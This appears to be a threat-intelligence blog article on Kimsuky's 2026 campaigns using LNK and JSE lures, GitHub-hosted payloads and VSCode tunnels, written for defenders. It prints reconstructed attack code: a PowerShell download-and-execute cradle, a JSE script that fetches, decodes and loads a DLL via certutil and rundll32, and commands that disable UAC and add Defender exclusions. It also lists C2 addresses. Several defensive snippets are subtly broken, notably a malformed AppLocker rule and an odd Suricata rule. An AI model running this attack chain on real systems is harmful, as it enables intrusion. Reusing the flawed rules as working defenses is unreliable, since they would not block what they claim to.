Listen to this Post
Introduction
The North Korean state‑sponsored advanced persistent threat (APT) group Kimsuky has executed a series of sophisticated spear‑phishing campaigns throughout the first half of 2026, marking a strategic evolution in its operational methodology. By deploying deceptive LNK and JSE files disguised as legitimate documents, the group has successfully breached systems across multiple sectors, including cryptocurrency investors, defense officials, corporate recruiters, and academic administrators. This shift toward a “Living off the Land” (LotL) approach—heavily leveraging trusted platforms such as GitHub, Microsoft CDN, and Visual Studio Code tunnels—represents a calculated move to bypass reputation‑based network defenses and mask malicious traffic. The following article provides a technical deep dive into the observed tactics, techniques, and procedures (TTPs), offering actionable detection strategies and remediation steps for defenders.
Learning Objectives
- Objective 1 – Understand the multi‑stage infection chain employed by Kimsuky, from initial LNK/JSE delivery to persistence and command‑and‑control (C2) communication.
- Objective 2 – Learn how to detect and analyze Kimsuky’s abuse of legitimate services (GitHub, Microsoft CDN, VSCode tunnels) using both Windows native tools and third‑party monitoring solutions.
- Objective 3 – Acquire hands‑on skills to harden endpoints against LNK‑based attacks, implement behavior‑based detection rules, and respond to incidents involving LotL techniques.
You Should Know
- Anatomy of the LNK‑Based Dropper: From a Double‑Click to Full Compromise
Kimsuky’s primary initial access vector in three of the four observed campaigns is the malicious Windows shortcut (LNK) file. These files are crafted to appear as benign PDF documents—often leveraging double extensions (e.g., document.pdf.lnk) because Windows hides the true `.lnk` extension by default. When a victim double‑clicks the file, the LNK executes a hidden PowerShell command that simultaneously displays a decoy document and drops a malicious payload.
Below is a reconstructed example of the PowerShell command embedded in such an LNK file:
Example Kimsuky LNK PowerShell command (simplified for analysis) $decoy = "C:\Users\Public\Documents\legit_document.pdf" $payload = "C:\Users\Public\Documents\update.ps1" Download and display decoy PDF Invoke-WebRequest -Uri "https://raw.githubusercontent.com/attacker/repo/main/decoy.pdf" -OutFile $decoy Start-Process $decoy Download and execute malicious script Invoke-WebRequest -Uri "https://raw.githubusercontent.com/attacker/repo/main/payload.ps1" -OutFile $payload PowerShell.exe -ExecutionPolicy Bypass -File $payload
To analyze a suspicious LNK file safely on a Linux system, use the `lnkinfo` tool from the `liblnk` package:
On Linux: Install liblnk and extract command line arguments from LNK file sudo apt-get install liblnk-tools lnkinfo -p malicious_file.lnk
On Windows, a quick inspection can be done using PowerShell:
On Windows: Read LNK file properties and target command line
$lnk = New-Object -ComObject WScript.Shell
$shortcut = $lnk.CreateShortcut("malicious_file.lnk")
Write-Host "Target: $($shortcut.TargetPath)"
Write-Host "Arguments: $($shortcut.Arguments)"
Step‑by‑step guide for defenders:
- Isolate suspicious LNK files – Move them to a sandbox environment.
- Extract embedded commands – Use the methods above to reveal any hidden PowerShell or `cmd` arguments.
- Check for decoy documents – Look for PDF or Word files created in temporary directories shortly after execution.
- Monitor for spawned processes – A legitimate LNK file rarely spawns `powershell.exe` or `cmd.exe` with obfuscated arguments.
-
JSE Files and the Abuse of Native Windows Tools
The fourth campaign used a JavaScript Encoded file with a double extension (e.g., .hwpx.jse). When opened, the JSE script leverages legitimate Windows binaries—certutil and rundll32—to decode and load a malicious DLL, effectively bypassing application whitelisting and file‑based detection.
A simplified version of the JSE‑based attack chain:
// Example JSE script (abbreviated)
var shell = new ActiveXObject("WScript.Shell");
var fso = new ActiveXObject("Scripting.FileSystemObject");
// Download a base64‑encoded DLL from a GitHub raw URL
var url = "https://raw.githubusercontent.com/attacker/repo/main/payload.b64";
var http = new ActiveXObject("MSXML2.XMLHTTP");
http.open("GET", url, false);
http.send();
var b64data = http.responseText;
// Write the base64 data to a temporary file
var temp = shell.ExpandEnvironmentStrings("%TEMP%") + "\tmp.dat";
var file = fso.CreateTextFile(temp, true);
file.Write(b64data);
file.Close();
// Use certutil to decode the base64 to a DLL
shell.Run("certutil -decode " + temp + " %TEMP%\evil.dll", 0, true);
// Load the DLL using rundll32
shell.Run("rundll32.exe %TEMP%\evil.dll,EntryPoint", 0, false);
Detection and mitigation:
- Monitor `certutil` executions with command‑line arguments containing `-decode` or
-decodehex. A normal baseline rarely includes these parameters. - Use Sysmon event ID 1 (Process creation) with command‑line logging to detect `rundll32` loading files from user‑writeable paths like `%TEMP%` or
%APPDATA%.
Example Sysmon configuration snippet to alert on suspicious `certutil` usage:
<Sysmon> <EventFiltering> <ProcessCreate onmatch="include"> <CommandLine condition="contains">certutil -decode</CommandLine> </ProcessCreate> </EventFiltering> </Sysmon>
- Living off Trusted Services: GitHub, Microsoft CDN, and VSCode Tunnels
Perhaps the most striking evolution in Kimsuky’s 2026 campaigns is the adoption of a “living off trusted services” strategy. Rather than relying on custom C2 infrastructure, the group now uses:
- GitHub raw URLs to host and exfiltrate payloads, blending with legitimate developer traffic.
- Microsoft CDN to download the official Visual Studio Code CLI, which is then abused to create a tunnel.
- VSCode tunneling with GitHub OAuth device tokens to establish persistent, encrypted remote access.
The VSCode tunnel technique is particularly insidious. The attacker first downloads `code.exe` from Microsoft’s CDN, then uses it to request a device code from GitHub. Once the attacker manually authenticates that code (often using a separate device), they gain a permanent tunnel into the victim’s network, bypassing firewall rules that would block unknown C2 traffic.
Detection of VSCode tunnel abuse:
- Monitor for unexpected `code.exe` executions (Event ID 4688 or Sysmon event ID 1) not associated with a legitimate developer’s workflow.
- Look for network connections to `.tunnels.api.visualstudio.com` or IP ranges owned by Microsoft’s tunnel service.
- Check for the presence of `.vscode-server` directories in user profiles (
%USERPROFILE%\.vscode-server).
On a Windows endpoint, you can run the following PowerShell script to detect potential VSCode tunnel artifacts:
Detect VSCode tunnel traces
$tunnelPaths = @(
"$env:USERPROFILE.vscode-server",
"$env:APPDATA\Code\logs",
"$env:LOCALAPPDATA\Temp\vscode-"
)
foreach ($path in $tunnelPaths) {
if (Test-Path $path) {
Write-Warning "Potential VSCode tunnel artifact found: $path"
Get-ChildItem $path -Recurse -ErrorAction SilentlyContinue
}
}
4. Aggressive Defense Evasion and Persistence
Once the initial payload is executed, Kimsuky moves rapidly to disable security controls and ensure long‑term access. Within minutes of infection, the malware:
- Disables User Account Control (UAC) by modifying the registry key
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA. - Adds exclusions to Windows Defender using `Add-MpPreference -ExclusionPath` to prevent scanning of its working directories.
- Creates scheduled tasks disguised as legitimate drivers (e.g., “Intel Network Driver”) that poll the C2 server every five seconds.
A typical PowerShell command to disable UAC and add Defender exclusions:
Disable UAC Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" -Value 0 Add Defender exclusion for the malware folder Add-MpPreference -ExclusionPath "C:\ProgramData\Intel\"
Remediation steps:
- Re‑enable UAC by setting `EnableLUA` back to `1` and rebooting.
- List and remove all Windows Defender exclusions using `Get-MpPreference` and
Remove-MpPreference.
3. Audit scheduled tasks for suspicious entries:
List all scheduled tasks created in the last 24 hours
Get-ScheduledTask | Where-Object {$_.Date -gt (Get-Date).AddDays(-1)} | Format-Table -AutoSize
- Delete tasks with unusual names (e.g., “IntelDriver”, “UpdateService”) and inspect their actions for scripts located in user‑writeable directories.
-
Command and Control Over HTTPS: C2 Infrastructure Analysis
Kimsuky uses a mix of custom domains and legitimate cloud services for C2. Observed infrastructure includes:
– `103.67.196.25` – a custom IP used in Campaign 2 for receiving victim information.
– `nelark.icu` – a domain hosting PHP scripts that serve PowerShell payloads and exfiltration endpoints.
– GitHub private repositories – used to host configuration files and exfiltrated data via raw URLs.
The C2 communication often includes a unique victim identifier based on the victim’s IP address and MAC address, allowing the attacker to track compromised systems individually.
Network‑based detection:
- Block outbound connections to known Kimsuky IPs (e.g.,
103.67.196.25,45.95.186.232). - Inspect HTTP/HTTPS traffic to GitHub `raw.githubusercontent.com` for unusually large POST requests or frequent downloads of encoded scripts.
- Use Suricata or Snort rules to detect patterns such as PowerShell download cradles:
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Kimsuky PowerShell Download Cradle"; content:"powershell"; http_uri; content:"Invoke-WebRequest"; http_uri; content:"raw.githubusercontent.com"; http_uri; sid:1000001; rev:1;)
6. Hardening Endpoints Against LNK and JSE Attacks
Organizations can reduce their attack surface against Kimsuky’s techniques by implementing the following controls:
- Disable LNK file execution from email attachments using Group Policy:
User Configuration → Administrative Templates → Windows Components → Attachment Manager → Inclusion list for low file types. Add `.lnk` and `.jse` to the list of high‑risk file types. - Implement Application Control with Windows Defender Application Control (WDAC) or AppLocker to block script engines (
powershell.exe,wscript.exe,cscript.exe) from running in user‑writeable directories. - Enable command‑line logging via Sysmon or enhanced audit policies to capture all process creation events with full command lines.
- Deploy a behavior‑based endpoint detection and response (EDR) solution that can detect LotL patterns, such as `rundll32` loading a DLL from `%TEMP%` followed by
certutil -decode.
A sample AppLocker rule to block PowerShell execution from common temporary locations:
<AppLocker> <RuleCollection Type="Exe" EnforcementMode="Enabled"> <FileHashRule Action="Deny" User="Everyone" Description="Block PowerShell from temp"> <Conditions> <FilePublisherCondition> <FilePublisher> <PublisherName>Microsoft Windows</PublisherName> <ProductName>Microsoft® Windows® Operating System</ProductName> <BinaryName>powershell.exe</BinaryName> </FilePublisher> </FilePublisherCondition> </Conditions> <Exceptions> <FileRule> <FilePathCondition>%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe</FilePathCondition> </FileRule> </Exceptions> </FileHashRule> </RuleCollection> </AppLocker>
What Undercode Say
- Key Takeaway 1 – Kimsuky’s pivot to living‑off‑trusted‑services marks a significant maturation of its tradecraft, making signature‑based detection nearly obsolete. Defenders must shift to behavior‑based analytics that can identify abnormal use of legitimate tools.
- Key Takeaway 2 – The combination of LNK droppers, JSE scripts, and VSCode tunnels demonstrates a modular, highly adaptive attack chain that can be customized for different victim profiles. This modularity demands a layered defense that includes email filtering, endpoint hardening, and network monitoring.
Analysis: The Kimsuky campaigns of 2026 represent a blueprint for next‑generation APT tactics. By abusing platforms that are routinely whitelisted in enterprise environments (GitHub, Microsoft CDN, VSCode), the group achieves a level of stealth that traditional security controls struggle to match. The attack chain is not novel in its components, but the integration of these techniques into a seamless, automated workflow is what sets this campaign apart. Defenders can no longer rely on IP blacklists or simple file hashes; instead, they must invest in endpoint detection that understands process lineage, command‑line arguments, and anomalous network behavior. Moreover, the rapid pace of execution—full compromise achieved in under five minutes—underscores the need for automated incident response capabilities that can isolate endpoints at the first sign of suspicious activity.
Prediction
In the near future, Kimsuky is likely to expand its abuse of cloud‑based remote access tools, including Cloudflare Quick Tunnels, Ngrok, and even legitimate RMM (Remote Monitoring and Management) software such as DWAgent. As AI‑assisted code generation becomes more accessible, we can also expect the group to deploy increasingly polymorphic payloads that adapt their obfuscation in real time based on the target environment. The barrier to entry for such advanced LotL techniques is lowering, meaning that not only state‑sponsored groups but also financially motivated cybercriminals may soon adopt similar tactics. Organizations should prioritize the implementation of zero‑trust principles, continuously audit access tokens and OAuth applications, and treat any outbound connection to a developer or collaboration platform as a potential C2 channel. The era of trusting internal network traffic based solely on destination reputation is over.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Varshu25 Kimsuky – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
